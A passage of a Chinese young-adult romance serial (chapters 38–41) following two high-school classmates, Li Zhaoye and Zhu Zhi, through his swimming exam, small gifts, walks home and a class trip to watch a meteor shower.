被她盯着看，李昭野有些不好意思地抓了抓脸，小声道：“刚刚不是没给你剩嘛？晚点带过来，你不准再生气了。”
“我没生气。”祝枝说。
“那蓝莓蛋糕要不要吃？”
祝枝：“……吃。”
踩着点拎着蛋糕小盒子从楼下上来的李昭野心情不错，眉梢漫了些笑意，迎面而来的两个女生边说着话，边盯着他看，李昭野思考了好一会都没能把她们的脸和名字对上，只是那两道视线丝毫没有要挪开的意思。
李昭野皱眉，侧身从她们旁边过去。
“李昭野。”
其中一个女生忽然叫住他。
“你谈恋爱了？”
李昭野顿了一下，问她：“你是？”
“李昭野！”她有些气急败坏，“明明是你跟我说不考虑谈恋爱的，你自己说的话自己都忘光了吗？还是你只是随口说了个借口来搪塞我？”
挨了劈头盖脸的一顿，李昭野还是没想起她是谁，只觉得这张脸有点眼熟，他不解地歪了歪头，眸间淬了几分冷意，问她：“我谈不谈，需要和你报备吗？”
这话传来传去，倒还真成了李昭野现在在谈恋爱了，至于女生是谁，稍微观察一下就能发现他身边出现的只有祝枝一个。
祝枝没进班级群，一行人前前后后翻了半天都没找她相关的讯息，只有一张高一军训时模糊的照片，看着挺清瘦的。
祝枝两耳不闻窗外事，每天都忙着写题背书，都不知道自己在学校已经小火了一把。
李昭野从教室外进来，摘下耳机，看着空落落的座位，问程勇：“她人呢？”
程勇刚刚正好听了一耳朵，说：“去物理老师办公室了吧。”
办公室里堆了不少新来的卷子，好几个人班的物理课代表都在，林知阳也在。
一走进去，几道视线齐刷刷投了过来，祝枝错愕地对上林知阳的视线，物理老师出声道：“祝枝来啦？赶紧把你们班的试卷数过去。”
厚厚的一捆试卷被她纤细的手臂给抱住，是一个略显吃力的动作，林知阳提出要替她分担一部分。
祝枝摇头道：“等会分不清了。”
她神色有些沮丧，耷拉着脑袋。
“怎么了？”
“感觉最近有点奇怪。”
祝枝没太关注班上那些风言风语，但林知阳可是听了不少的，他神色一顿，说：“祝枝，你和李昭野——”
林知阳余光瞥见拐角处的身影，那人是在朝他们这个方向来，但正被拖着聊天寒暄，不过三步距离了。
林知阳语气略显急切，改口问：“你喜欢李昭野吗？”
祝枝整个人都懵住了，她紧张地看着林知阳，大脑轰地一下没了任何反应的机会。
林知阳见李昭野顿住，估计也是听到了。
缓了很久，祝枝才听到自己的声音。
“我和他是好朋友。”
38. 38
天气渐热，池子里的水温很适宜，被修长的身形推开的水波漾漾，薄肌勃发，结实有力的手臂在水纹中若隐若现，快速来回游动的男孩像是不知疲倦。
偌大的场馆里只有池子里这一点动静，教练收拾好东西从休息室出来，见李昭野还在游，走近蹲下。
“行了啊，要把身体练坏啊？下周不准备去考试了？”
李昭野从水里钻了出来，游泳眼镜在他鼻梁上卡出一道浅红色的印记，湿漉漉的水珠顺着他的脸颊滑下，修长的手指穿过头发，将额前的发往后撩去，露出带着几分戾色的眉眼。
“别在这个时候掉链子啊，我打听过了，今年南大的竞争很激烈呢。”
还沉在水里的李昭野眉眼深邃，被水泡过后的五官更显俊朗，他冷哼了一声，说：“考个屁的南大。”
说完，他把自己沉进水里，企图冲淡心头萦绕着的烦躁情绪。
好朋友，原来只是好朋友。
可他本又能期待什么呢，祝枝这内敛的性子，一定是会把心意藏在内心深处的。
但李昭野就是很生气，很烦躁。
要真说起来，他更生自己的气，明明应该是被追的那一方，现在倒好像被随随便便拿捏住了，三两句话就能让他胸腔里的气都捋不顺。
绝对是他最近对祝枝太好了，让她生出些容易得到，就不会珍惜的心思来。
李昭野暗下决定，这回一定要晾一晾祝枝，让她知道追人就该有个追人的样子来，他可不是雪花那样的小笨狗，随便招招手就能喊过去摇尾巴。
手指已经在水里泡到泛白，李昭野简单冲了个澡，收拾好东西，戴上耳机背着包回了家。
祝枝也知道他这周训练很是紧凑，没时间来学校，只是不知道他前几天的过敏好了没有，做完眼保健操的课间休息，祝枝给他发去了一条微信。
-李昭野，你的药还在我这。
-过敏好了吗？
消息石沉大海，没有回应。
温度逐渐升高，最近在修建花坛，下晚自习时还能能闻到弥漫在校园里的青草气味，混杂在初夏的温热空气里，很是舒服。
现在高三的晚自习时间比以往还要推迟，已经赶不上特供的晚班车了，祝枝这几天都是步行回家，在路上听听英语听力，很快就能到家。
今天走在路上，正巧拐到李昭野上次出事那个小巷口时，坏了两盏路灯，周围寥寥几个人，都埋着头很快离去，祝枝左顾右盼，一股没由来的紧张感从毛孔中钻了出来，心跳就像马上从嗓子眼出来，咚咚咚咚，跳得很用力。
她加快了脚下的步子，不敢再多看。
在精神极度紧绷之际，口袋里的手机忽然响了，吓得她一个哆嗦。
是一条微信消息，还以为是李昭野回她了，没想到是林知阳。
他问祝枝有没有去年三模物理试卷的完整版答案。
祝枝没敢缓下步子回消息，就算是走到小区楼下了，她还是很紧张，不敢回头看，连跑带走地进了电梯，上楼开门。
直到看到妈妈的脸，祝枝才悄悄松了口气。
“怎么跑这么急？”
祝枝接过妈妈递来的水杯，抬头喝下一大口，可算缓解了心里的焦虑。
她之前写过一版完整的三模试卷，只错了一道选择题，解题步骤写得很清楚。
-只有我自己写的
-图片
发过去后，祝枝还心有余悸，随手把刚刚回家路上自己把自己吓了一大跳的事情分享在了朋友圈。
她微信没加几个人，最近因为忙于学习，上一条碎碎念的日常还是周一早上，把赶到面包店抢到的最后一个蔓越莓欧包拍照分享出来。
退出朋友圈界面，祝枝已经收到了林知阳的回复。
-写的好工整，谢谢。
其实祝枝想告诉他网上能找到完整的标准答案，但林知阳会想到来问她，是不是说明他也算把她当成个半个朋友了？
想起朋友，祝枝忽然想起那天搬试卷时，回答完林知阳的问题后，李昭野臭着脸迎面走来，也不知是谁惹了他，一个眼神都没分给自己，直接和他们擦肩而过。
自那之后，李昭野就开始了忙碌的训练，祝枝都没在学校见过他了。
余光落到书桌上收了两天的快递盒子上，祝枝低头翻了一下手机，李昭野到现在为止都还没回她的微信。
估计是体考临近，他要收心冲刺，全神贯注地准备考试，不玩手机了。
而此时此刻的李昭野正抱着雪花，窝在沙发里，手机界面正是祝枝发来的消息，他神色淬着些冷意，手指在输入栏点开又关闭，反反复复，最后还是退了出去。
怀里的雪花正在啃咬祝枝给它买的小玩具，要抢走还不乐意，咿呀乱叫的，脑袋忽然被铲屎官轻轻捏了捏。
“能不能学学你爸，别什么三瓜两枣就把你给收买了。”
要保持冷淡的李昭野倒真忍住了没给祝枝回消息，但他刷到祝枝那条朋友圈后，给程勇他们几个发了微信，让他们这周放学之后和祝枝走了一段路，把人送到小区楼下。
“你咋不自己去啊？”
李昭野嘶了一声，说：“我要训练。”
程勇明显不信：“扯。”
“安安静静送人啊，少跟她说一些乱七八糟的话。”李昭野说完，又改口道，“少跟她说话。”
“给你别扭死吧。”程勇吐槽道。
祝枝还感到挺费解的，以前也没见程勇他们几个走这条路回家，今天忽然浩浩荡荡跟在她身后，说是顺路。
祝枝挤出一个尴尬的笑，摸了摸鼻子，背着书包慢吞吞下楼。
“我替你拿吧。”出声的是祝枝不认识的一个男生，见过他两次，不是很熟。
祝枝警惕地往后躲了躲，摇头。
“哎哎哎，干嘛呢。”程勇把那人揪了回来，小声警告道，“野哥说了，少和她说话，别吓着人家。”
今天的路灯还没修好，后头跟了一群吵吵闹闹的人，虽然没那么慌了，但没一办法继续听听力音频了。
拐到祝枝家小区楼下时，她扭头看了程勇他们一眼，一行人正讨论等会去吃什么宵夜，见祝枝望了过来，程勇问她：“要一起去吗？野哥
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报销。”
祝枝摇了摇头，又问：“他去吗？”
“不来吧，他最近训练累，很早就回家休息了。”
她点了点头，和人招手再见。
可真是乖得不行的好学生，生得白白嫩嫩，说话声音也小，难怪野哥宝贝得紧。
直到祝枝的身影消失在楼道口，程勇才跑去和李昭野报备完成任务。
接连两天，都是程勇他们和祝枝一块回家，每次都保持着两米左右的距离，不打扰她，直到某天，祝枝上楼前喊住程勇。
“你能等一下吗？”
程勇点头，只见祝枝很快跑回楼上，下来的时候拎着一个袋子。
不等祝枝开口，程勇问她：“给野哥的？”
祝枝点头。
“行，正好晚点会去他家，我拿给他。”
祝枝说：“谢谢。”
程勇瞄了眼袋子里的东西，没敢拿出来看，但李昭野是当着他们的面拆开的。
是一副泳镜。
上面贴了一张便利贴。
“考试加油。”
旁边还画了个嘟着脸举手鼓舞的小表情。
程勇第一次见李昭野眉间的冷意如此迅速地消融，他甚至还反应了一秒自己的高兴也太过于外漏，只是没克制两下，又忍不住弯了唇。
“幼稚。”
程勇：“……”
好恶心的宠溺语气。
王宇轩咬着披萨走近，问道：“里面还有个啥？”
李昭野打开纸袋看了一眼，拿出来之后，上面的字让他蹭得一下又给塞了回去。
“什么啊？”程勇这下来了好奇心。
李昭野死死捂住袋子，不让他们看。
这下更让他们好奇了，几个人费解折腾半天，李昭野才狼狈地拿着东西逃到阳台。
他面红耳赤地拿出里面的泳裤，低声咒了句脏话，然后拿出手机给祝枝拨了个电话。
“喂。”小姑娘的声音乖乖软软的，隔着电话传来，已经好几天没听到了。
李昭野滚了滚喉结，坐到花园旁边的长椅上，低声和她通电话：“东西拿到了。”
祝枝慢吞吞地嗯了一声，她说：“是不是后天去考试啊？祝你旗开得胜。”
“嗯。”外头的风倒是舒服，凉凉的，把他脸颊上的红意吹散了一些，但再次提起，又忍不住红温，“你怎么还给我买了条泳裤啊？”
男士泳裤，这也太私密了……她能挑得明白吗？
祝枝愣了一下，解释道：“那是一个礼盒，和泳镜一块的。”
“你又不知道我的码。”李昭野红着脸嘀咕道。
“啊？不合身吗？”脑海里冷不丁冒出李昭野穿着泳裤从水里窜出来的模样，祝枝愣神片刻，也红了脸，小声道，“我是根据你的身高体重选的码……”
本来坦然的礼物，被两人磨磨蹭蹭的声音搞得有些尴尬，李昭野抓了一把头发，耳尖红意未褪，但声音倒是稳了很多。
“总之，谢谢。”
祝枝小声嗯了一句，又说了一遍。
“考试加油。”
39. 39
事实证明，只按身高体重买男生泳裤还是有点不太靠谱。
李昭野在浴室把有点紧的泳裤换了下来，尺码不合适，也只能丢到衣柜里收着了。
泳镜倒是挑得很合李昭野的心意，也不知道她从哪看来的他常用的品牌，买了个最贵的新款。
把东西都给塞进行李箱之后，李昭野掀开被子，发现某只小家伙已经非常霸道地鸠占鹊巢了。
雪花实在是喜欢极了祝枝给它买的玩具小狗，已经啃得不成样子了，李昭野还给它买了个新的代替，可不知怎么的，这家伙像是认准了气味似的，就是舍不得旧的那个。
它腿短短的，雪松的毛很软，被洗得干干净净的，喜欢蹭在李昭野的被窝里玩。
难得的好心情让李昭野对它也多了几分耐心，把空调温度调合适后，李昭野有一搭没一搭地摸着小狗。
眉眼间晕开的笑意很淡，李昭野心里却是实打实的高兴。
算了，勉强原谅她那句什么好朋友，小姑娘脸皮薄，不敢和其他人说也是很正常的。
这恰恰也说明了祝枝和林知阳不怎么熟，心里话都不敢说。
手指轻轻落在雪花脑袋上磨蹭着，李昭野心情颇好地伸了个懒腰，准备睡个早觉，保持好精力和状态。
半夜下了场大雨，祝枝起床的时候蹲在阳台边发了一会呆，她还没戴上助听器，雨声很小，润湿了每一片土地的水带着凉意，窜在空气里，混杂在其中的青草香味被她用力吸进胸膛里，直到双脚都被冻得冰凉，祝枝才起身换下睡衣，穿好校服出门。
旁边的座位已经空了很长时间了，老师安排了新的座位，也只是把他们往前调了两排，更方便祝枝听课了。
越是到了临近考试的课堂，越是安静，在空气里被反复摩擦的焦躁很微妙，大家都默契地选择沉默，整个班像是一根绷到不能再绷紧的弦，锋利得很。
短短一周，班主任处理的各类情绪事件就多到离谱，幸好祝枝和班上其他人关系都不太近，她像个闲散人，每天守着自己的一亩三分地，谁也不惹。
英语成绩并没有像想象中的那样一飞冲天，但也还是在稳步上升，祝枝给李昭野发去了最新周考的成绩，但他自从去考试那天起，就没有回复过消息。
祝枝打着哈欠强撑精神学习，程勇他们偶尔溜课，会顺路替她带杯咖啡回学校提神，重复着的日子像是被打开了倍速，一眨眼就又过去了好几天。
都有点习惯身后跟着一堆吵吵闹闹的男生，这天下晚自习没人跟在后面，祝枝还有点不习惯。
但今天天气不错，月亮高高挂在枝头，迎面而来的风吹开心间的焦躁，路灯也已经修好，祝枝背着书包，步子轻缓。
身后陡然出现的动静让她瞬间警惕起来。
紧咬着牙，小心翼翼扭头望去，猝不及防跌进一双熟悉的眸子里。
那人眼底带着淡淡的笑意，手插在口袋里，张扬帅气的五官隐匿在昏暗的光线下，额前的黑色碎发被风吹动，清冷的月光替他增了几分冷峻。
“李昭野？”
久违的见面，祝枝的语气里带着几分惊喜。
这也让李昭野的心情瞬间好了起来。
他三两步跟上祝枝，伸手拎过她的书包。
“你什么时候回来的呀？”
“晚上刚到。”
和叔叔一起请教练吃了个饭，回家简单收拾了一下行李，正好赶上晚自习下课。
“考试怎么样？”祝枝声音温柔，“看你这么开心，应该考的不错吧。”
“开心也不知是因为考得好。”他说。
祝枝不明白：“嗯？”
“没什么，你背什么了？包这么重。”
“我自己拿吧。”
李昭野换了只手拎着，说：“不用。”
“你怎么不在家休息呀？”
李昭野说：“我都回来了，还拜托他们送你干嘛。”
祝枝愣了一下，抿唇道：“果然是你叫他们来的。”
她也是隐约猜到了，前两天程勇逃了一整天的课，临到下晚自习，他们几个风风火火地跑了回来，身上带着一股浓烈的孜然烧烤味，才刚坐下没多久，就跟在祝枝身后，说是顺路回家。
昨天晚上，祝枝卷子没写完，在教室里多待了一会，他们几个打着哈欠在后面玩闹了半天，直到祝枝起身收东西，他们立马揣好手机跟着一块起身。
“走呗，顺路回家。”
实在是有点明显了。
“你这猫胆子，这点路都能给你吓坏。”
两人边走边说着话，正好路过李昭野上次打架那里，小巷子里没灯，昏暗至极，历历在目的血迹让祝枝平时瞧都不敢多瞧一眼的。
“赖你。”她小声嘀咕。
“什么？”李昭野问她。
祝枝摇了摇头，李昭野跟在她身后不远的位置，微弱的灯光勾出两道影子，在无言的并肩前行中，时而拉长，时而变短。
一直走到祝枝家楼下，她接过李昭野递来的书包。
“你明天会来上学吗？”她问。
“会。”
她站在高两阶的台阶上，正好能和他平视。
也才过了小半个月，李昭野总感觉她瘦了，最近学习越来越紧张，估计这家伙肯定满脑子都是提分刷题，没好好吃饭。
听到李昭野的话，祝枝点了点头，说：“明天给你带曲奇饼干。”
李昭野勾唇，正欲说话，祝枝忽然神色一变，一把抓住他的手腕，拉着他往一旁的花坛后躲去。
难得见她神色如此外露，着急忙慌的。李昭野个子高，面前的枝叶根本就挡不住他的脑袋，祝枝警惕地看着外面，注意到爸爸走近，她伸手按住李昭野的脑袋，小声道：“再低点。”
她眸里落了些细碎的光，微弱的光线将白嫩脸颊勾勒出一层淡淡的光晕，干净漂亮。
手腕被祝枝纤细的手指扣住，察觉到李昭野的轻微挣扎动作，祝枝细眉微蹙，给他递了道可怜兮兮的眼神。
意思是让他别出声。
这样一道目光，看得李昭野下意识挪开视线，垂眸掩下自己的心跳声，却感觉越来越快，都要贴着耳朵
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响了，他小声嘀咕：“做贼一样我有这么见不得人吗？”
“刚刚我爸过去了。”祝枝松了口气，松开李昭野的手腕，解释道，“我怕他误会。”
“误会什么？”李昭野看向她，神色坦然，“误会我们早恋啊。”
祝枝抿唇，手指缠住了手边的校服下摆。
“避免一些不必要的麻烦。”
她低着脑袋，扎了一整天的马尾松散了许多，耳侧飘着几缕碎发，被风吹得一晃一晃的，李昭野忍住揉揉她脑袋的动作，掩唇轻咳道：“知道了，赶紧上去吧，早点睡觉。”
“明天见。”祝枝冲他摆了摆手告别。
“嗯。”
李昭野的目光跟随，等到视野中的人消失，他才敛眸离开。
游完考试这一场，李昭野感到肩上的担子稍微轻了些，已经太久没有过这样因为一件事而努力和紧迫的滋味了，他感觉到自己浑身都充满了力量，就连吃饭的时候叔叔提起要给他找个老师恶补一下数学，他都不怎么排斥。
但另外找老师就没必要了，他有个理科学霸同桌。
久违的回来上学，李昭野还没习惯早起，依旧是踩着早自习下课铃到的教室门口，正好和抱着书回办公室的班主任撞上。
他心情不错，帅脸上带着笑意，喊了句老师早。
“你小子，回来了啊，考得怎么样？”
见他这样子也知道应该比较有把握，班主任还担心他继续保持之前的纨绔富二代姿态，不把高考当回事，跟程勇他们几个人一样混完最后这几个月呢。
“哦对了，你报的哪个学校啊？”
视线落在对上窗户边低头认真写题的祝枝，她似是被一道题难住了，脸上是生动的苦恼表情，手指轻轻点在纤细的锁骨上，一下一下敲击着。
“南大。”李昭野说。
“不错，好学校，那你也要把文化分数提上来啊，文化考试也不远了吧？你这个分数还得再加把劲……”
才刚听完班主任关于文化考试的叮嘱，李昭野走进教室，被程勇一把扑过来揽住肩膀。
“野哥！你终于来了！”
李昭野扒开他的手朝座位走去，程勇跟在他身后叽叽喳喳地说着这两天打球发生的小口角，等他坐下，祝枝抬头望向他们。
李昭野替她说了想说的话：“你有点吵。”
程勇立马露出一副受伤的表情。
“野哥，这么久不见，你不想我吗？”
“你好恶心。”
就像那天程勇听到他夹着嗓子轻声说祝枝幼稚时露出的表情一模一样。
“不管，你考完试了应该就没事了吧？晚上唱歌去。”
李昭野从课桌里拿出一本书，瞥了他一眼后，说：“有事，我要学习。”
“学孙子兵法啊？”程勇指着他桌上的书，问道。
还是破破旧旧的一本，一看就是翻过很多次了，甚至翻开还能看到笔记标注。
李昭野听到一旁的祝枝小声的噗笑，他赶紧把书塞到程勇怀里，说：“王宇轩的，赶紧拿去给他。”
40. 40
天气渐热，正午时分，烈日当空，梧桐树叶在地上画出密密麻麻的光斑，晃人眼睛，树上的蝉鸣声枯燥冗长，毫无创意地重复每一个高考季的奏曲。
难得见祝枝也有上课打瞌睡的时候，李昭野瞥了眼正在巡视的班主任，用手肘轻轻推了祝枝一下。
她迷迷糊糊揉了揉眼睛，注意到班主任的视线后，立马起身坐正，但神色依旧是一副还在睡梦当中的懵懂样子。
“困成这样，等会下节数学课趴桌上睡会。”
祝枝打着哈欠摇了摇头。
“要讲的卷子你不是早就改过了吗？又不是不懂，不如把精神补一下，不然一整个下午都在打瞌睡，学了也没用。”
李昭野的话有几分道理，她轻叹了口气，说：“我昨晚睡得很早的。”
“每天要熬死成千上万个脑细胞，肯定容易犯困啊。”
这句话说完，祝枝又打了个重重的哈欠。
眼底的疲倦比前几日又盛了些，李昭野知道她是焦虑自己的分数，没日没夜的刷题背词，整个人都比刚认识的时候瘦了一大圈。
本来就没长多少肉，现在更是瘦得不行，纤细的手臂轻易便能完全握住，手肘在桌子上蹭了一层淡淡的红，倒衬得皮肤更加白皙。
“王宇轩说这周末山上有流星雨看，要不要去？”
祝枝没听太清，扭头道：“嗯？”
李昭野又重复了一遍，他说：“不是许愿什么的，你们女孩子最信这个了吗？”
而且她连小柿子祈福香囊都信，肯定对这玩意也感兴趣，果然，听到李昭野这么说，祝枝眼底闪过一丝亮光，但她又有些纠结：“但是我……”
“不差这一天。”李昭野打断她的犹豫。
“周六晚上上山露营，周日还能看日出。”
祝枝还没和朋友约出爬过山，这么一想确实还有几分期待，她放下手里的笔，有些好奇地凑近：“要带衣服吗？”
“随你，露营那里可以洗澡，但是环境比较简陋。”
她迟疑道：“会有蛇吗？”
李昭野淡声开口回答：“有，大蟒蛇，能吃人的那种。”
“啊？”
他眼底带了几分揶揄，把祝枝懵懵的表情收入眸中。
“真要洗澡，带身轻便的衣服，放书包里，其他东西别带太多，到时候背不动可别找我。”
祝枝慢吞吞地哦了一声。
她的助听器藏在发丝里，正垂着脑袋专心思考不想爬山和想看流星雨这两件事之间的轻重，李昭野忽然伸手靠近她的耳朵，吓得祝枝往后一躲，警惕地看向他。
“你这个是不是太大了点，戴久了耳朵不痛吗？”
祝枝摇了摇头。
“习惯了。”
他侧目靠近看，祝枝只得往后缩了缩，左边肩膀抵在墙上，怯生生的视线看向李昭野。
被人盯着助听器看还是有点奇怪，祝枝低头撇开耳朵，小声道：“要上课了。”
“不睡了？”
她摇头，有道数学题没太听懂，老师说这节课再讲一个同类型的题，祝枝不想再错过了。
李昭野收回视线，坐直身体后，再次瞥了眼祝枝的耳朵，外观和普通人无异的耳朵里藏着一枚助听器，明明比常人听课还要多好些困难，但她丝毫没有抱怨过，也没有要求过什么特别对待，一样能把那些吊儿郎当的家伙甩在身后。
敛眸后，李昭野从口袋里拿出手机，从善如流地点开了购物软件。
其实助听器早就买好了，因为需要额外定制，所以花了些时间。李昭野把包装好的盒子放在书包最底下，然后盖了一层小零食，整理好拉链后扣上肩膀。
王宇轩早就把定位发了过来，李昭野瞄了眼定位上的名称，是个没去过的汽车站，他们得坐车去山底下，路程不算近。
绕过路把祝枝给接上，她背了个书包，身后站着一位女人，目光追随着从车上下来的李昭野。
李昭野眉心微跳，走近后，喊了声阿姨好。
“这是我同桌。”祝枝小声道。
“你好。”
目光不动声色地将面前的男孩打量了一番，妈妈一时间有点想把祝枝给带回家里，不让她出去了，可今天小姑娘告知她这件事情的时候，神情当中带着久违的雀跃和明媚，虽然担心，但也不忍心让祝枝失望落空。
“是叫小李对吧？麻烦你多照顾一下我们家枝枝，我存一下你的号码可以吗？”
李昭野点头：“当然可以。”
祝枝和她妈妈长得还挺像的，眼睛都很大，很明亮，鼻子小巧精致，妈妈多了几分温婉与温柔，只是眉间郁结的担忧有些明显。
“我们一同去的还有几个同学。”李昭野出声道，“男孩女孩都有。”
“哦，好，那就行。”
李昭野放在口袋里的电话响起。
“如果有什么特殊情况，那就要打扰你了。”
“没事的。”
被再三叮嘱注意安全，一定要保证手机随时联系后，祝枝跟在李昭野身后上了车。
“怪怪的。”祝枝说。
“什么？”
她眨巴眨巴眼睛：“没见过你这么老实的样子。”
“取笑我是吧？”李昭野睨了她一眼，薄唇微张，语速很慢地念出那两个字，“枝枝。”
迟暮时分的晚霞已经没下去，车外是飞速掠过的城市灯光，借着昏暗的光线，李昭野清晰地看见她脸噌得一下红了个彻底。
“这是你的小名吗？”
“随便取的叠字，不算小名。”
“那除了枝枝，叫祝祝也行，猪猪。”
被小姑娘用丝毫没有威慑力的视线瞪着，李昭野心情莫名其妙好得不行，他单手撑靠在后座，眸里含了几分笑意，随着在行驶途中晃动的车而荡漾着，像一层又一层的漂亮波纹，晕着惊艳的颜色。
祝枝敛眸垂头，声音很低。
“不要乱喊。”
车很快到达汽车站，王宇轩喊了一大帮人一块爬山，他还算靠谱，早早联系了去山底下的大巴车，把最后一趟给包下来了。
李昭野和祝枝到的时候，已经来了不少同学，程勇和王宇轩迎上来找他，把人给喊进人堆里。
李昭野扭头对祝枝说：“你先上去找座位。”
她点了点头，大巴车的门有些破旧，颇有年代感，一上车就能闻到属于长途跋涉的气味，祝枝扫了一眼车上剩下的位置，尚未选定坐哪里，便猝不及防地撞进了一道熟悉的视线中。
“祝枝？”林知阳惊
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讶道。
祝枝脑袋迟钝了两秒，呆呆地看着面前的林知阳。
“好巧啊，你怎么也在？”
她刚回家换了身适合爬山的轻便短袖，褪去校服，但身上那股单纯干净的气息依旧残存，不施粉黛的脸颊白皙透亮，正紧张地看着自己。
林知阳没忍住，轻轻笑了一下。
“要坐这里吗？”他拍了拍身边的空座。
祝枝看了眼还在门口和王宇轩他们几个聊天的李昭野，有人在抽烟，熏得他表情有点臭，眉头皱得很紧。
“还有一个人。”
言下之意是她没办法坐在这个单独的位置上。
“前面还空了一个呢，你替他占着就行。”
林知阳起身接过她手里的书包，放在自己旁边的空座上，然后又把自己的书包放到前面的空座上。
祝枝心脏漏了两拍，紧张的情绪在沉默的思考中蔓延到全身上下，不等她再次开口，身后已经响起了李昭野的声音。
“站在这干嘛？”
他比祝枝高了一个头，目光在车内扫视。
“坐哪？”
她的书包正放在林知阳的座位旁边，李昭野眉头一皱。
怎么又是这个家伙。
“你坐这？”他问。
这里堵住了，后面的人又在往前面挤，搞得人心里有些急躁，李昭野却像一堵墙似的把后面跟上来的人全给堵住了，祝枝赶忙把书包拎了起来，说：“后面还有座位。”
推辞了林知阳的好意，祝枝略有些愧疚地看向他，林知阳也在看她，两个人旁若无人的对视到底是让李昭野不爽到了极点，他把人往前带，宽大的身体遮住祝枝扭头看林知阳的方向，坚硬的身体撞得她肩膀有些痛。
“赶紧走，别堵着路。”
……明明都快走到最后一排了。
祝枝没跟他争，找到最后一排坐下后，抬眸对上李昭野带着薄怒的眸子。
“还要看？”他凶巴巴问道。
恨不得把眼睛摘下来贴到林知阳身上去。
呵呵，总不至于这么快移情别恋吧，还是说她这都是故作矜持的小伎俩，就是为了让他吃醋生气。
还真是幼稚。
“啊？”
装傻，又装傻。
祝枝不知所以，下滑的视线正巧和林知阳再次对视上，巧得让她眸光微颤。
林知阳还在看她。
身旁的包被重重丢下，李昭野隔着一个座位坐下，脸色臭得不行。
祝枝把书包也放到空在中间的座位上，她瞥了眼李昭野的侧脸，又收回视线，拿出手机给妈妈报平安。
“野哥，我和你坐。”王宇轩赶在最后一个上了车，他拎起李昭野和祝枝放在椅子上的包，还没落座，就被李昭野弹了一下腰。
“坐前面去。”他说。
“没位置了啊。”
“那不是有？”李昭野指了指林知阳旁边空下来的位置，语气不佳道。
“我想和你聊天嘛。”
李昭野已经在往耳朵里塞耳机，企图用狂躁的音乐掩盖住心里翻涌的醋意。
“走开。”
被凶巴巴地赶走之前，王宇轩还把求助的视线投给祝枝，她满脸无辜，比王宇轩还要更懵。
41. 41
大巴车晃晃悠悠抵达山脚下，从车上下来的学生成群结队的，寂静了许久的山脚瞬间热闹不少，路边的灯有些昏暗，一盏跟着一盏，顺着蜿蜒的山路而上。
祝枝背好书包下车，李昭野动作慢，过了好一会才拎着书包下来，和他略带几分冷淡的视线对上后，祝枝有些苦恼。
怎么还在生气啊？
李昭野有时候真的有点难哄。
作为社交中心，他身边向来都是不缺人围着的。
祝枝远远跟在他身后，步子慢吞吞的，他们几个人一边聊天，越走越快，祝枝发觉自己跟不上的时候已经隔了好远的距离。
余光中的人消失不见，李昭野顿下步子，扭头看向祝枝。
埋头苦爬的祝枝压根没注意到跟着他一块投过来的数道视线，她低着头爬得认真，难得运动的她只感觉四肢都快不是自己的了，呼吸也在运动中逐渐急促了起来。
直到面前出现一双熟悉的球鞋，她抬头望去，撞进李昭野冷淡的视线中。
“走这么慢。”李昭野睨视着她。
祝枝轻轻舒了口气，没能把急促的呼吸匀下来，李昭野轻轻啧了一声，伸手将她滑到肩膀上的书包给往上带了一下。
“祝枝。”
从身旁走过的林知阳唤了她一声，祝枝扭头望去，正好和江羡的视线对上。
精致漂亮的女孩站在林知阳身边，她露出一道爽朗明媚的笑，谈吐大方，让人很难挪开视线。
她和李昭野打了个招呼，说：“感觉好久没见到你了。”
李昭野将视线从祝枝身上收回来，回答道：“考试去了。”
“听说了，什么时候出成绩啊？”
“快了。”
他们几个聊得畅快，只剩祝枝一个人把自己困到了窘迫的意识里，一声不吭的，感觉后背像是被轻轻扎着小针，没使多大劲，就是难受得厉害。
“得快点了，别到时候错过流星雨。”林知阳出声提醒道。
“走吧。”
人群再次在李昭野周边汇聚起来，一行人边聊着天边往山上走，祝枝攥紧书包带子，耳朵捕捉到的蝉鸣声很微弱，其中还混杂着些在初夏的夜里折腾出噪音的小虫子。
被围在人群中央，簇拥着向前走去的几个人聊得挺开心的，李昭野插兜走在边上，聊天三句不离他。挤在一块的影子被路灯拉得很长很长，祝枝专注地跟在后头，每一步都能稳稳踩到影子边缘。
比别人高了小半截的影子，一看就是李昭野的。
侧目看了好几次跟在后面的人，李昭野敷衍地应下几句奉承，放慢脚步后，慢慢从人群中脱离出来。
影子越靠越近，几乎将她整个人笼罩住。
祝枝错愕抬头，和李昭野深邃的眸对视上。
“爬不动了吗？”
“爬得动。”祝枝说。
她虽然这么回答，但李昭野还是熟练地接过她的书包。
语气依旧不算热络，保持着生气时候的冷淡：“怎么这么重？”
祝枝眨了眨眼，小声解释道：“我怕等会会饿。”
不用想，肯定是一书包的面包甜品。
“不知道的还以为你出来春游呢。”
山间徐徐而来的风将祝枝额头密密麻麻的汗吹散，带来片刻的凉爽，她说：“已经是夏天了。”
初夏的山间丛林最是生命力旺盛的时刻，风里都是奋力生长的气味，充盈进了胸膛，满满当当的。
热闹的人群已经拖开一段很长的距离了，祝枝说：“你可以和他们一块，我太慢了。”
“算了吧。”他把祝枝的书包扣上肩头，和她并肩往前，“你妈妈都存了我的电话号码了，万一给我打电话的时候找不到你人，岂不是急死。”
祝枝抿了抿唇，低头轻笑。
卸去重物后爬山瞬间轻松了不少，只是他体能好到离谱，走了大半路程了，依旧是脸不红心不跳的，相比起来，祝枝略显急促的呼吸声就暴露了她的脆弱体质。
偏偏她又想要在这个时候和李昭野谈心。
“你刚刚生气了吗？”
李昭野眸光微滞。
“没有。”
“噢……”
……这就不问了？这么容易放弃吗？
“李昭野。”她又小声开口。
“怎么了？”语气好像凶了一些。
祝枝绞紧了手指，耳朵根都憋红了一大片，犹豫再三还是把心里的话说了出来，李昭野向来面冷心热，祝枝也没交过朋友，总觉得处理问题的最好办法就是开诚布公。
“我没经验，如果我哪里做得不好，你直接告诉我好吗？”
这句话让一旁的男生险些踩空，略带几分错愕的视线投向她。
“你……”他愣住，欲言又止的，有点结巴，最后只憋出一句，“你，我，难道，难道我就有经验了吗？”
祝枝不解：“你经验应该很多吧。”
他的朋友多到遍布整个学校，出去溜达一圈，打招呼的两只手都数不过来。
李昭野立马梗着脖子反驳道：“你听谁胡说的？我从来没有过。”
初夏夜里的风很凉，但也没把李昭野温度骤升的脸颊降下温来。
“程勇跟你胡说的？他嘴巴没个把门的，最喜欢无中生有了，你离他远点。”
这是一截绕了近路的斜坡，踩在松软的土地上，很容易就往下滑，虽然距离近了，但是爬起来比大路要更加费解，需要使劲才能把身体稳住。
李昭野自顾自说了半天，没等到她的回答，扭头望去，发现祝枝正撑着腿，非常努力地让自己稳在原地。
一把抓过她手腕的动作有点重，分去的力带着她往前走去，李昭野步子很大，手臂结实有力，三两步就拉着人走过这一段难捱的路。
